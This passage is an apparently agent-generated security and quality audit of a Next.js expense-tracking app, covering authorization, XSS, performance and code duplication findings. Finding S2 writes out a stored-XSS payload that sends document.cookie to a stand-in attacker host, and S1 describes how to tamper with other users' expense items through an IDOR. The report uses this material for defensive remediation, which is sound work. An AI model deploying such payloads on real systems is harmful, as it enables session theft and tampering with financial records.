OMS Web

================================================================================

GATE 5 — QUALITY & SECURITY AUDIT (node W14_gate_quality_audit)

Repo: oms-web (Next.js 14 / Tailwind 3 / Prisma+Postgres, standalone)

Branch: feat/3250-oms-ui-bug-fixes-chips-s

HEAD: 2fa4249 "4. Dead Code (oms-bug-fixes)"

Gate: gates/nextjs-tailwind-standalone/quality-audit-gate.md

Result: FAIL — 4 unresolved P1 findings

================================================================================

FEATURE FILES AUDITED (12)

app/(app)/admin/items/page.tsx

app/(app)/admin/projects/page.tsx

app/(app)/admin/suppliers/page.tsx

app/(app)/admin/uom/page.tsx

app/(app)/admin/users/page.tsx

app/(app)/expense-summary/[project]/page.tsx

app/(app)/expense-summary/page.tsx

app/(app)/expense-summary/ExpenseSummaryRowActions.tsx

app/(app)/expenses/page.tsx

app/(app)/orders/page.tsx

components/forms/ExpenseForm.tsx

components/forms/ResetPasswordForm.tsx

Supporting files read to trace the above (not themselves in scope, cited where

a finding's root cause lives there): middleware.ts, next.config.mjs,

tailwind.config.ts, app/globals.css, app/api/uploads/route.ts,

lib/params.ts, lib/auth.ts, lib/prisma.ts, lib/validation/schemas.ts,

lib/actions/{expenses,profile,shared}.ts, lib/permissions/{guard,ui,registry}.ts,

lib/queries/{expenses,rbac}.ts, lib/orders/access.ts,

components/ui/{AttachmentChip,DataTable,ListToolbar,Pagination,RowActions,

SearchInput,FilterBar}.tsx, components/auth/Can.tsx,

app/(app)/expenses/ExpenseRowActions.tsx, app/(app)/admin/items/ItemRowActions.tsx.

--------------------------------------------------------------------------------

SKILL RESOLUTION (gate file "Resolution order", per-skill, as required)

--------------------------------------------------------------------------------

No slash-command layer was available for any of the seven skills (steps 1 and 2

of the resolution order both unavailable). All seven resolved via step 3 —

read as FILES. Note the gate file's stated path

(.claude/skills/nextjs-tailwind-<name>/SKILL.md) does not exist in this

checkout; the actual location is one level up, outside the repo:

/opt/drcarrot-deploy/cross-repo-orchestration/skills/nextjs-tailwind-<name>/SKILL.md

1. code-quality .............. step 3 (file) OK

2. dry-architecture .......... step 3 (file) PARTIAL — see below

3. css-dry ................... step 3 (file) OK

4. css-performance ........... step 3 (file) OK

5. performance ............... step 3 (file) OK

6. animation-performance ..... step 3 (file) OK

7. security .................. step 3 (file) OK

DEGRADED SKILL — nextjs-tailwind-dry-architecture-audit

That SKILL.md is byte-corrupted between roughly its "Core principle" heading

and its "Investigation workflow" section: the middle ~60% of the file is

mojibake/garbled text, not readable English (e.g. "Ablwind copy-ighesCen

duplication repreame underlyi"). Its YAML frontmatter, its `description`, its

"Investigation workflow" list and its "Output format" block ARE intact and

were followed. What is unreadable is the body detailing the "same concept, not

same shape" test and its worked examples.

Impact: the [dry-architecture] findings below were produced from the intact

frontmatter + workflow + output format, applying the same-concept test as

described in the (readable) css-dry skill, which states it explicitly. This is

reported rather than silently skipped, per the gate file's rule 4. Recommend

restoring that file from source before the next run.

--------------------------------------------------------------------------------

REAL TOOL OUTPUT (commands actually executed in this checkout)

--------------------------------------------------------------------------------

$ npx tsc --noEmit

-> exit 0, no diagnostics.

$ npx next lint

-> "✔ No ESLint warnings or errors"

$ npx next build

-> "✓ Compiled successfully"; 25/25 static pages generated.

First Load JS shared by all: 87.3 kB

chunks/2117-*.js 31.7 kB

chunks/fd9d1056-*.js 53.6 kB

other shared 1.89 kB

Largest route First Load JS: 127 kB (/admin/items, /admin/projects,

/admin/suppliers, /admin/uom, /admin/users)

/expenses 125 kB · /orders 125 kB · /expense-summary/[project] 124 kB

/expense-summary 114 kB · /profile/reset-password 101 kB

Middleware 30.5 kB

-> No oversized chunk. No bundle-size finding raised.

$ npx vitest run

-> Test Files 6 failed | 94 passed (100)

Tests 8 failed | 732 passed (740) Duration 268.77s

Failing:

tests/expense-form.test.tsx > selects an expense type via the row's Listbox

tests/expense-summary-page.test.tsx > renders one aggregated row per project

with its total and a View Details link

tests/expenses-page.test.tsx > renders a row per expense with date, project,

item count, total, and status

tests/item-form.test.tsx > pre-populates fields from the given item

tests/order-form.test.tsx > renders the Add Supplier trigger when

canCreateSupplier is true

tests/user-form.test.tsx > disables the Role select with a prompt until a

Type is chosen

tests/user-form.test.tsx > pre-populates fields, and Role, from the given

user, and shows the leave-blank password hint

tests/user-form.test.tsx > resets the selected Role when the Type is changed

away from the user's current type

-> RECORDED, NOT COUNTED. Test health belongs to the unit-test gate, not this

one, so these do not contribute to the P1 count. Flagging anyway because

three of the six failing files cover THIS ticket's feature files

(ExpenseForm, expense-summary page, expenses page) and the sampled failure

is a real assertion mismatch ("Unable to find an element with the text:

Select..." — the element renders it as a `placeholder` attribute, not text),

not an environment problem.

--------------------------------------------------------------------------------

AUTO-FIX STATUS (gate file Step 3)

--------------------------------------------------------------------------------

NOTHING WAS AUTO-FIXED. Every finding below is fixed=false.

This node runs with read-only access by design ("You have no write access"),

so Step 3's safe-auto-fix pass could not execute. Three findings would have

qualified as clearly-safe under Step 3 had write access existed — CQ1 (no-op

map), CP2 (duplicated inline SVG), C2 (repeated em-dash span). They are

reported instead. The four P1s would NOT have been auto-fixed regardless: S1

and S2 change security posture (and the gate file forbids ever guessing at an

authorization fix), P1f and D1 change observable behavior.

================================================================================

MERGED FINDINGS — 21 total: 4 × P1, 11 × P2, 6 × P3

================================================================================

################################################################################

# P1 — BLOCKING (4)

################################################################################

[security] S1 — P1 / Severity: High

**File:** lib/actions/expenses.ts

**Location:** lines 82-95, `updateExpense`

**Category:** authz (IDOR — horizontal escalation)

**Problem:** ExpenseItem ids arrive from the client and are used as a bare

primary-key lookup with no check that the item belongs to the expense being

edited.

**Evidence:**

for (const item of items) {

if (item.id) {

await tx.expenseItem.update({ where: { id: item.id }, data: { type: item.type, amount: item.amount } });

The id is client-controlled end to end: components/forms/ExpenseForm.tsx:196

serializes the row array into a hidden `itemsJson` input, and

lib/validation/schemas.ts:132 accepts `id: z.string().trim().optional()` with

no ownership constraint. The surrounding transaction scopes its DELETE

correctly (`where: { expenseId: id }`, line 68) — only the UPDATE arm is

unscoped, which is what makes this look intentional-but-missed rather than a

wholesale absence of authorization.

**Attack scenario:** A user holding `expense:update` opens any expense they may

legitimately edit. They submit the form with `itemsJson` hand-edited so one

row's `id` is an ExpenseItem id belonging to a different expense — including

one they cannot open. The action's only gate, `requirePermission("expense:update")`

on line 47, passes (they do hold the permission), and the write lands on the

other expense's row.

**Impact:** Any `expense:update` holder can silently alter the type and amount

of arbitrary expense line items across the whole table. Financial-record

tampering with no audit trail — lib/audit.ts's writeAuditLog is not called on

this path.

**Recommended remediation:** Scope the update to the parent, so a foreign id

matches zero rows instead of someone else's:

await tx.expenseItem.updateMany({

where: { id: item.id, expenseId: id },

data: { type: item.type, amount: item.amount },

});

`existing` (line 68) is already loaded and already scoped to this expense —

validating `item.id` against it before the loop is equally correct and lets

the action return a field error rather than silently no-op'ing.

**Risk of change:** Low. Legitimate edits always pass ids that belong to the

expense, so behavior is unchanged for them. Verify by editing an expense with

2+ items and confirming both persist.

**Fixed:** NO — never auto-fix an authorization gap (gate file Step 3).

--------------------------------------------------------------------------------

[security] S2 — P1 / Severity: High

**File:** lib/validation/schemas.ts (root cause) → components/ui/AttachmentChip.tsx (sink)

**Location:** schemas.ts:120-125 `attachmentMetaSchema`; AttachmentChip.tsx:44

**Category:** injection (stored XSS via unvalidated URL scheme)

**Problem:** An attachment's `url` is validated only as a non-empty string, is

persisted verbatim, and is later rendered straight into an anchor `href`.

**Evidence:** schemas.ts:120-125 —

export const attachmentMetaSchema = z.object({

fileName: z.string().trim().min(1),

mimeType: z.string().trim().min(1),

size: z.coerce.number().int().positive(),

url: z.string().trim().min(1), // <-- no scheme/prefix constraint

});

Persisted unmodified — lib/actions/expenses.ts:37 (createExpense) and :91

(updateExpense) both do `...(i.attachment ? { attachment: { create: i.attachment } } : {})`.

Rendered — components/ui/AttachmentChip.tsx:44 —

<a href={url} target="_blank" rel="noreferrer" ...>

**Why the value is attacker-controlled rather than server-derived:** by design.

app/api/uploads/route.ts:85-93 returns the file metadata WITHOUT creating the

Attachment row (the Attachment_exactly_one_parent CHECK forbids a parentless

row), so the client carries `url` through the form and hands it back. That is

a deliberate, documented flow — but it means the server never re-derives the

URL and currently never re-validates it either.

**Attack scenario:** A user with `expense:create` submits `itemsJson` containing

`attachment: {fileName:"invoice.pdf", mimeType:"application/pdf", size:1,

url:"javascript:fetch('//attacker/'+document.cookie)"}`. No file is ever

uploaded, so none of the upload route's allowlist checks (extension, MIME,

2MB cap, filename sanitization — all correctly implemented at route.ts:53-76)

are reached. The row persists. Every later viewer of that expense, and of

/expense-summary/<project> (which renders the same chip at

app/(app)/expense-summary/[project]/page.tsx:48), gets a link that executes

attacker script in their session on click.

**Impact:** Stored XSS against any user who opens the affected expense,

including higher-privileged ones — session theft, actions performed as the

victim. A `//attacker.example` value is a lower-severity but equally available

phishing variant.

**Recommended remediation:** Constrain the field to the only shape the upload

route can actually produce:

url: z.string().trim().regex(/^\/uploads\/[A-Za-z0-9._-]+$/, "Invalid attachment reference"),

That pattern is exactly what route.ts:75-82 builds (`/uploads/${safeName}`,

where safeName is already `[^a-zA-Z0-9._-]` -> `_`), so it rejects every

crafted value while accepting every legitimate one. Defense in depth: have

AttachmentChip refuse any href not starting with `/uploads/`.

**Risk of change:** Low, but it IS observable — any pre-existing row whose url

does not match the pattern would stop rendering as a link. Check the

Attachment table for non-conforming urls before shipping.

**Fixed:** NO — changes security posture and validation behavior.

--------------------------------------------------------------------------------

[performance] P1f — P1

**File:** lib/queries/expenses.ts (root cause) — consumed by app/(app)/expense-summary/page.tsx:18

**Location:** expenses.ts:64-95, `expenseSummaryByProject`

**Category:** data-fetching

**Problem:** Two completely unbounded queries per page view, aggregated in JS,

feeding a page that renders no pagination at all.

**Evidence:** expenses.ts:65-72 —

const grouped = await prisma.expenseItem.groupBy({ by: ["expenseId"], _sum: { amount: true } });

const expenses = await prisma.expense.findMany({

select: { id: true, projectId: true, project: { select: { name: true } } },

});

Neither has a `where`, a `take`, or a `skip`. The search filter (line 87-89)

and the sort (line 91-93) then run in JS over the full materialized array.

Confirming the page never bounds it: app/(app)/expense-summary/page.tsx

imports no `Pagination` (contrast every other list page, which renders

`<Pagination page={params.page} pageSize={params.pageSize} total={total} />`)

and ignores `params.page`/`params.pageSize` entirely.

**Why it matters:** Every row of ExpenseItem and every row of Expense is pulled

into the Node process on each request, and every project row is serialized

into the RSC payload to the browser. Cost grows linearly and without bound

with table size — this is the one list screen in the app that does not degrade

gracefully. Directly hits TTFB and the page's LCP. The two awaits are also

sequential when they are independent.

**Recommended fix:** Push the aggregation into SQL — group ExpenseItem joined to

Expense by projectId, with ORDER BY / LIMIT / OFFSET server-side — and render

`<Pagination>` on the page, matching the `skipTake(params)` pattern

lib/params.ts:58 already provides and every sibling query already uses. If a

single-query rewrite is out of scope for this ticket, `Promise.all` the two

reads as an interim step and add the paging.

**Risk of change:** Medium — this is the screen's core query and re-shaping it

changes result ordering/paging semantics. tests/expense-summary-page.test.tsx

already covers the rendering contract (and is currently failing, see tool

output above — fix that first so it can serve as the regression net).

**Fixed:** NO — behavior-changing (adds pagination to a currently unpaginated screen).

--------------------------------------------------------------------------------

[dry-architecture] D1 — P1

**Concept:** "build a list-page URL preserving current list params"

**Files:** defined 9 times, once in each of this ticket's list pages —

app/(app)/admin/items/page.tsx:38-44

app/(app)/admin/projects/page.tsx:37-43

app/(app)/admin/suppliers/page.tsx:39-45

app/(app)/admin/uom/page.tsx:37-43

app/(app)/admin/users/page.tsx:52-58

app/(app)/expenses/page.tsx:32-38

app/(app)/orders/page.tsx:40-46

app/(app)/expense-summary/page.tsx:30-36

app/(app)/expense-summary/[project]/page.tsx:55-61

(verified: `grep -rln "const buildHref" app` returns exactly these 9)

**Evidence:** character-identical in all nine but for the final template string:

const buildHref = (extra: Record<string, string | number | undefined>) => {

const p = new URLSearchParams();

for (const [k, v] of Object.entries({ ...params, ...extra })) {

if (v !== undefined && v !== "") p.set(k, String(v));

}

return `/admin/items?${p.toString()}`; // <-- only this line differs

};

**Why these are the same concept:** They are not merely similar-looking — they

are one function with one varying literal, and every one of them is passed to

the same prop (`DataTable`'s `buildSortHref`). Any change to list-URL encoding

— dropping empty params, resetting `page` on re-sort (see CQ5), adding a param

— must be made nine times or the pages drift.

**The fix already exists in this codebase and is simply not being reused.**

components/ui/Pagination.tsx:50-57 contains a strictly better version of the

same function, deriving the base path from `usePathname()` and the params from

`useSearchParams()` instead of hardcoding either. Its own comment (lines

42-49) records that it was written precisely because passing the page's copy

across the RSC/Client boundary crashed production with "Functions cannot be

passed directly to Client Components". So the codebase has already paid for

this lesson once, in this exact area.

**Recommended fix:** Hoist a `buildListHref(basePath, params, extra)` into

lib/params.ts — which already owns every other list-param concern (parse,

skipTake, orderBy, orderByMap) and is already imported by all nine pages, so

this adds no new import anywhere. Alternatively, let `DataTable` derive the

sort href the way `Pagination` already does and drop the `buildSortHref` prop

entirely; that removes the duplication rather than relocating it.

**Priority:** P1 — nine copies of one function across every changed page in the

ticket, with a known, already-encountered failure mode.

**Risk of change:** Low-to-medium. All nine call sites change. If the

DataTable-derives-it option is taken, note that DataTable is currently a

Server Component (no "use client") and would need to become a client

component or take the pathname as a string prop — do not repeat the crash

Pagination.tsx documents.

**Fixed:** NO — touches nine files and the DataTable prop contract.

################################################################################

# P2 (11)

################################################################################

[security] S3 — P2 / Severity: Medium

**File:** lib/actions/expenses.ts

**Location:** lines 11-15, `parseExpenseForm`

**Category:** input-validation

**Problem:** `JSON.parse` on a client-controlled string with no try/catch, ahead

of Zod.

**Evidence:**

function parseExpenseForm(formData: FormData) {

const raw = Object.fromEntries(formData);

const items = JSON.parse((raw.itemsJson as string) || "[]");

return { ...raw, items };

}

Called at line 19 (createExpense) and line 48 (updateExpense), both before

`expenseSchema.safeParse`, so Zod's error handling never gets the chance to

produce a field error.

**Attack scenario / impact:** Any authenticated caller POSTs the Server Action

with `itemsJson=<malformed>`; the SyntaxError propagates out of the action to

Next's error boundary. No data exposure and no DoS beyond one request, but it

turns a validation problem into a 500 and, depending on deployment error

config, can surface a stack frame. Low real-world severity — raised because

it sits on the same client-controlled path as S1 and S2 and is trivially

closed.

**Recommended remediation:** Wrap the parse and return an ActionState field

error, so the payload is rejected the same way every other bad input is:

let items: unknown = [];

try { items = JSON.parse((raw.itemsJson as string) || "[]"); }

catch { return { ok: false, fieldErrors: { items: "Invalid expense items." } }; }

**Overlap:** same line as [code-quality] CQ3 (error-handling lens). Both kept per

the gate file's "near-duplicates from two lenses are signal" rule.

**Fixed:** NO — changes the action's response contract on a new path.

--------------------------------------------------------------------------------

[performance] P2f — P2

**File:** app/(app)/expense-summary/[project]/page.tsx

**Location:** lines 21-24 (`generateMetadata`) and line 33 (page body)

**Category:** data-fetching

**Problem:** The identical Project query runs twice per request.

**Evidence:**

// line 22, inside generateMetadata

const project = await prisma.project.findUnique({ where: { id: params.project } });

// line 33, inside the page component

const project = await prisma.project.findUnique({ where: { id: routeParams.project } });

Next.js invokes `generateMetadata` and the page in the same request. Neither

call is memoized — contrast lib/queries/rbac.ts:40, where

`getUserWithPermissions` is wrapped in React `cache()` for exactly this reason

and documents it ("Memoized per request (React `cache`) so the ... re-check

doesn't re-query once per guarded page/action in the same render").

**Why it matters:** One redundant DB round trip on every view of this page,

added directly to TTFB. Small in absolute terms; notable because the codebase

already has the fix pattern in-tree and this is the one place that skips it.

**Recommended fix:** Add a cached accessor to lib/queries/masters.ts —

`export const getProject = cache((id: string) => prisma.project.findUnique({ where: { id } }))`

— and call it from both places. This also resolves CQ4 (the page's direct

prisma import).

**Risk of change:** Very low; identical results, one fewer query.

**Fixed:** NO — read-only access.

--------------------------------------------------------------------------------

[performance] P3f — P2

**File:** app/(app)/expenses/page.tsx

**Location:** line 29 (column render) → app/(app)/expenses/ExpenseRowActions.tsx:12

**Category:** rendering

**Problem:** A permission check that costs a signature verification runs once

per table row instead of once per page.

**Evidence:** expenses/page.tsx:29 —

{ key: "actions", header: "Actions", render: (r) => <ExpenseRowActions id={r.id} /> },

ExpenseRowActions.tsx:12 wraps its content in `<Can code="expense:update">`.

components/auth/Can.tsx:10 is an async Server Component that calls

`getPermissions()` on every render. lib/permissions/ui.ts:36 calls

`getSession()`, and lib/auth.ts:201 —

export async function getSession(): Promise<Session | null> {

const token = cookies().get(SESSION_COOKIE)?.value;

return verifySessionToken(token);

}

— is a plain async function, NOT wrapped in React `cache()`. `verifySessionToken`

(lib/auth.ts:136+) performs a WebCrypto HMAC verification each time.

**Why it matters:** With `pageSize` up to 100 (lib/params.ts:8), that is up to

100 HMAC verifications per render of this page. The DB read behind it is

memoized (`getUserWithPermissions` is cached) so this is CPU, not I/O — but it

is avoidable CPU on the server's render path, affecting TTFB.

**The correct pattern is already used by the five admin pages** — e.g.

app/(app)/admin/items/page.tsx:23-25 resolves it once and passes booleans:

const [{ rows, total }, can] = await Promise.all([listItems(params), getPermissions()]);

const canUpdate = can("item:update");

const canDelete = can("item:delete");

**Recommended fix:** Hoist `getPermissions()` into this page's existing

`Promise.all` (line 22 already has one) and pass `canUpdate` down as a prop,

exactly as the admin pages do. Independently, wrapping `getSession` in React

`cache()` in lib/auth.ts would blunt the cost everywhere.

**Risk of change:** Low — same rendered output; verify the Edit icon still hides

for a user without `expense:update`.

**Overlap:** same root cause as [dry-architecture] D3, different lens (cost vs.

inconsistency).

**Fixed:** NO — read-only access.

--------------------------------------------------------------------------------

[code-quality] CQ1 — P2

**File:** app/(app)/expense-summary/[project]/page.tsx

**Location:** line 79, and the type on line 39

**Category:** dead-code

**Problem:** A `.map()` that produces an object identical to its input, plus the

type intersection that exists only to justify it.

**Evidence:**

// line 39

const columns: Column<(typeof rows)[number] & { id: string }>[] = [

// line 79

rows={rows.map((r) => ({ ...r, id: r.id }))}

`rows` here comes from `expenseItemsForProject` (lib/queries/expenses.ts:125),

which returns `prisma.expenseItem.findMany(...)` results — every row already

has `id`. So `{ ...r, id: r.id }` copies `id` onto itself, and

`& { id: string }` widens a type that already satisfies the constraint.

**Why it matters:** It allocates a new object per row for nothing, and it reads

as though a real key remapping is happening. The genuine version of this

pattern is 40 lines away in the sibling file —

app/(app)/expense-summary/page.tsx:44 does `({ ...r, id: r.projectId })`,

which IS necessary because those aggregate rows have no `id`. Someone

maintaining this pair has to diff them carefully to see that one is load-

bearing and one is not.

**Recommended fix:** `rows={rows}`, and drop `& { id: string }` from line 39.

**Risk of change:** None — provably identical output. `tsc --noEmit` (clean

today) is a sufficient check.

**Fixed:** NO — would have qualified for Step 3 auto-fix, but this node has no

write access.

--------------------------------------------------------------------------------

[code-quality] CQ2 — P2

**File:** components/forms/ExpenseForm.tsx

**Location:** lines 91-115, `handleUpload`

**Category:** error-handling

**Problem:** `try`/`finally` with no `catch` — the transport-failure path is

silently swallowed while the HTTP-error path is handled properly.

**Evidence:**

setUploadingIndex(index);

try {

const body = new FormData();

body.set("file", file);

const res = await fetch("/api/uploads", { method: "POST", body });

const data = await res.json().catch(() => ({}));

if (!res.ok) { setUploadError(data.error ?? "Upload failed."); return; } // handled

updateRow(index, { attachment: data.file as UploadedAttachment });

} finally {

setUploadingIndex(null); // no catch

}

Note the file already demonstrates it knows to do this — `.catch(() => ({}))`

guards the JSON parse one line up, and the oversize case sets `uploadError`

at line 94. Only the `fetch` rejection is unguarded.

**Why it matters:** On a dropped connection or offline browser, `fetch` rejects.

`finally` resets `uploadingIndex`, so the label flips from "Uploading…" back

to "Upload" with no message and no attached file — indistinguishable from the

user never having clicked. `uploadError` (rendered at line 258) stays null.

The rejection also surfaces as an unhandled promise rejection in the console.

**Recommended fix:** add

} catch { setUploadError("Upload failed. Please check your connection and try again."); }

before the `finally`.

**Risk of change:** Low — adds a message on a path that currently shows nothing.

**Fixed:** NO — read-only access.

--------------------------------------------------------------------------------

[code-quality] CQ3 — P2

**File:** lib/actions/expenses.ts

**Location:** line 13, `parseExpenseForm`

**Category:** error-handling

**Problem:** Unguarded `JSON.parse` turns a recoverable validation failure into

an unhandled exception, bypassing the ActionState error channel every other

failure in this module uses.

**Evidence / fix:** identical to [security] S3 above — see there.

**Why it matters (this lens):** Both actions in this file return

`{ ok: false, fieldErrors: ... }` for every other bad input (lines 20, 49).

This one path throws instead, so the form's `state.message` rendering

(ExpenseForm.tsx:195) can never display it and the user gets an error page

rather than an inline message.

**Overlap:** deliberate near-duplicate of S3, kept per the gate file's Step 2

rule. S3 frames it as unvalidated input on an attacker-reachable path; CQ3

frames it as inconsistent error handling within the module.

**Fixed:** NO — read-only access.

--------------------------------------------------------------------------------

[dry-architecture] D2 — P2

**Concept:** "the ExpenseType domain and its human-readable labels"

**Files:**

components/forms/ExpenseForm.tsx:37-45 (EXPENSE_TYPE_OPTIONS)

app/(app)/expense-summary/[project]/page.tsx:11-19 (EXPENSE_TYPE_OPTIONS)

lib/validation/schemas.ts:133-141 (the z.enum value list)

**Evidence:** the two option arrays are byte-identical, including order:

{ value: "TRAVEL", label: "Travel Allowance" },

{ value: "MATERIAL", label: "Material" },

... through ...

{ value: "MISCELLANEOUS", label: "Miscellaneous" },

and schemas.ts holds the same seven values as the authoritative validation

list: z.enum(["TRAVEL","MATERIAL","LABOUR","FOOD","FUEL","MAINTENANCE","MISCELLANEOUS"]).

**Why these are the same concept:** They are three projections of one closed

domain. Adding an expense type requires editing all three; miss the display

copies and the value silently renders as its raw enum name — the summary page

already has that fallback wired in at line 41

(`EXPENSE_TYPE_OPTIONS.find(...)?.label ?? r.type`), which means the failure

is silent rather than loud. Miss the schema and the new type is rejected

server-side.

**Recommended fix:** One exported const — values derived from the Zod enum (or

from Prisma's generated `ExpenseType`) paired with labels — in a shared module

both consumers import. lib/validation/schemas.ts is the natural home since it

already owns the authoritative list; the two UI copies become imports.

**Priority:** P2

**Risk of change:** Low. Same values, same order, so both the `<Listbox>` options

and the summary filter render identically. Purely additive at the schema end.

**Fixed:** NO — read-only access.

--------------------------------------------------------------------------------

[dry-architecture] D3 — P2

**Concept:** "resolve this viewer's row-level permissions for a list page"

**Files:** two competing implementations across the ticket's own list pages —

Hoisted (correct, 5 files):

app/(app)/admin/items/page.tsx:23-25, admin/projects:23-25,

admin/suppliers:23-25, admin/uom:23-25, admin/users:30-36

-> getPermissions() in the page's Promise.all, booleans passed as props

Per-row (2 files):

app/(app)/expenses/page.tsx:29 -> ExpenseRowActions -> <Can code="expense:update">

app/(app)/expense-summary/page.tsx:26 -> ExpenseSummaryRowActions (no gate at all)

**Why these are the same concept:** All seven pages answer "may this viewer edit

/ delete this row" for a paginated table. Two different mechanisms for one

question means a change to how permissions resolve has to be found in two

shapes, and it is already producing measurably different cost (see P3f).

**Recommended fix:** Standardize on the hoisted form — it is what

lib/permissions/ui.ts:26-29 prescribes in its own doc comment ("Calling this

after requirePermission() in the same render costs no extra DB round trip"),

it is the majority pattern (5 of 7), and it is the faster one.

**Deliberate non-finding:** ExpenseSummaryRowActions having no `<Can>` at all is

NOT a gap. Its only action is a view link, and components/ui/RowActions.tsx:20-22

documents the rule — "view has no separate permission, since reaching this row

already required the list page's own *:read permission" — which middleware.ts

enforces via ROUTE_PERMISSIONS' `expense_summary:read` entry

(lib/permissions/registry.ts:111). Consistent with the app's model.

**Priority:** P2

**Risk of change:** Low — same rendered output; verify gated icons still hide.

**Fixed:** NO — read-only access.

--------------------------------------------------------------------------------

[css-dry] C1 — P2

**Concept:** "row-action icon link" (the icon-button in a table's Actions column)

**Files:** three separate hand-rolled implementations —

components/ui/RowActions.tsx:33

className="p-1.5 -m-1.5 text-text" + <Eye className="h-4 w-4" />

components/ui/RowActions.tsx:37

className="p-1.5 -m-1.5 text-status-info" + <Pencil className="h-4 w-4" />

components/ui/RowActions.tsx:45 (button variant)

className="p-1.5 -m-1.5 text-status-danger" + <Trash2 className="h-4 w-4" />

app/(app)/expenses/ExpenseRowActions.tsx:13

className="inline-flex p-1.5 -m-1.5 text-status-info" + <Pencil className="h-4 w-4" />

app/(app)/expense-summary/ExpenseSummaryRowActions.tsx:9

className="inline-flex p-1.5 -m-1.5 text-text" + <Eye className="h-4 w-4" />

**Why these are the same concept:** Identical negative-margin hit-target recipe

(`p-1.5 -m-1.5`), identical icon sizing (`h-4 w-4`), identical `aria-label`

convention ("View X" / "Edit X" / "Delete X"), same visual slot in the same

table column. A change to the touch-target size or the icon scale must apply

to all five or the Actions column becomes visibly ragged across screens.

**Drift is already present, and it is this ticket's own additions that introduced

it:** the two files added by #3250 prepend `inline-flex`; the three in

RowActions.tsx do not. Both files' comments say they are deliberately

"mirroring" the existing pattern (ExpenseRowActions.tsx:5-9,

ExpenseSummaryRowActions.tsx:4-6) — mirroring by copy, which is exactly the

drift this audit looks for.

**Recommended primitive:** `RowActionIcon({ href | onClick, label, tone, icon })`

in components/ui/. Variant set justified strictly by what exists — three tones:

`text-text` (view), `text-status-info` (edit), `text-status-danger` (delete).

No other tone appears anywhere, so propose no others.

**Priority:** P2

**Risk of change:** Low, but visually verifiable: adding `inline-flex` to the

three RowActions instances (or removing it from the two new ones) is a real

layout change. Settle which is correct against the #3248 design spec first,

then consolidate. Five call sites.

**Fixed:** NO — consolidating changes rendered markup.

--------------------------------------------------------------------------------

[animation-performance] A1 — P2 (cross-cutting — reported once, per the skill)

**Files:** repo-wide

**Animated properties:** all of them

**Problem:** No reduced-motion support exists anywhere.

**Evidence:** `grep -rn "motion-reduce\|prefers-reduced-motion" app components`

-> NO MATCHES. Meanwhile ~10 transitions ship (full inventory in A2 plus:

Listbox.tsx:227 transition-transform, StatusToggle.tsx:50,53

transition-colors/transform, DatePicker.tsx:271 transition-colors,

button.tsx:24 transition-colors, table.tsx:42 transition-colors,

Sidebar.tsx:135,149 transition-transform/colors).

**Why it matters:** Most of these are small colour/transform micro-interactions

where reduced-motion matters little. The ones that do matter are the large

sliding motions in A2 — SearchInput's 40px->320px width expansion and the

sidebar's width collapse — which are exactly the "large, fast, or repeated

motion" class that can cause vestibular discomfort. A user who has set

prefers-reduced-motion currently gets no accommodation on this app at all.

**Recommended fix:** One global rule in app/globals.css rather than per-component

variants, since this is a cross-cutting property:

@media (prefers-reduced-motion: reduce) {

*, *::before, *::after { transition-duration: 0.01ms !important; animation-duration: 0.01ms !important; }

}

Optionally add `motion-reduce:transition-none` to the two width transitions.

**Expected impact:** No change for users who have not set the preference.

**Risk of change:** Very low; scoped entirely behind the media query.

**Fixed:** NO — read-only access.

--------------------------------------------------------------------------------

[animation-performance] A2 — P2

**Files:** components/ui/SearchInput.tsx:111, components/ui/FilterBar.tsx:127,

components/layout/Sidebar.tsx:101

**Component:** the shared list-page chrome — every one of this ticket's nine list

pages renders SearchInput and/or FilterBar via `<ListToolbar>`; Sidebar wraps

all of them via app/(app)/layout.tsx.

**Animated properties:** `width` (SearchInput, Sidebar), `grid-template-rows`

(FilterBar) — all layout-triggering.

**Evidence:**

SearchInput.tsx:111 "relative h-10 shrink-0 overflow-hidden transition-[width] duration-200 ease-in-out"

FilterBar.tsx:127 "order-last grid w-full transition-[grid-template-rows] duration-200 ease-in-out"

Sidebar.tsx:101 "shrink-0 border-r border-border bg-surface flex flex-col transition-[width]"

SearchInput's own comment (lines 21-27) confirms the intent: the collapsed

icon expands to a `w-80` field (line 132).

**Problem:** `width` and `grid-template-rows` both force a full layout pass every

frame. Sidebar and FilterBar additionally reflow the entire page content

beside/below them for the whole 200ms, not just their own box.

**Why it matters:** On a list page already rendering up to 100 table rows, a

200ms layout-thrashing transition has to re-lay-out that table on every frame.

This is the classic janky-animation pattern the skill exists to catch.

**Recommended fix:**

- SearchInput: give the container its final width and animate

`transform: scaleX()` / `translate-x` on the input, keeping opacity for the

icon swap it already does (lines 122, 132). Compositor-only.

- Sidebar: same approach, or accept it — it animates rarely (explicit user

toggle) and the cost is bounded.

- FilterBar: LEAVE AS IS. `transition-[grid-template-rows]` is the standard

auto-height accordion technique and has no `transform` equivalent that

preserves content-driven height. Flagged for completeness of the inventory,

not as something to change. The file already documents the choice (line 38).

**Expected impact:** Removes per-frame layout from the most frequently triggered

of the three (the search expand/collapse).

**Risk of change:** Medium for SearchInput — it is a focus-management-sensitive

component (its comment at lines 21-27 describes deliberate accessibility-tree

behavior during the transition); do not regress that while changing how it

animates.

**Scope note:** These three files are NOT in `feature_files`. They are reported

because every audited page renders them and the animation skill's brief is

what actually animates on the audited screens. Treat as advisory relative to

the in-scope findings.

**Fixed:** NO — read-only access, and out of the ticket's changed set.

################################################################################

# P3 (6)

################################################################################

[performance] P4f — P3

**File:** app/(app)/expense-summary/[project]/page.tsx

**Location:** lines 33 and 37

**Category:** data-fetching

**Problem:** Sequential awaits on two independent queries — a waterfall.

**Evidence:**

const project = await prisma.project.findUnique({ where: { id: routeParams.project } });

if (!project) notFound();

const params = parseListParams(searchParams, "expenseDate");

const { rows, total, totalExpenses } = await expenseItemsForProject(routeParams.project, params);

Both depend only on `routeParams.project`, which is known before either runs.

**Why it matters:** Adds one full DB round-trip latency to TTFB. Every sibling

list page parallelizes (`Promise.all` at orders/page.tsx:24, expenses/page.tsx:22,

admin/*/page.tsx:23) — this is the outlier.

**Recommended fix:** `const [project, data] = await Promise.all([...])`, then

`if (!project) notFound()`. Note the tradeoff: the expense query would run even

for a nonexistent project id. Given `notFound()` is a rare path, that is the

right trade — but it is a real behavior difference worth stating.

**Risk of change:** Low.

**Fixed:** NO — read-only access.

--------------------------------------------------------------------------------

[code-quality] CQ4 — P3

**File:** app/(app)/expense-summary/[project]/page.tsx

**Location:** lines 2, 22, 33

**Category:** structure (separation of concerns)

**Problem:** The page imports Prisma and queries the database inline, while every

other page in the app goes through lib/queries/*.

**Evidence:**

import { prisma } from "@/lib/prisma"; // line 2

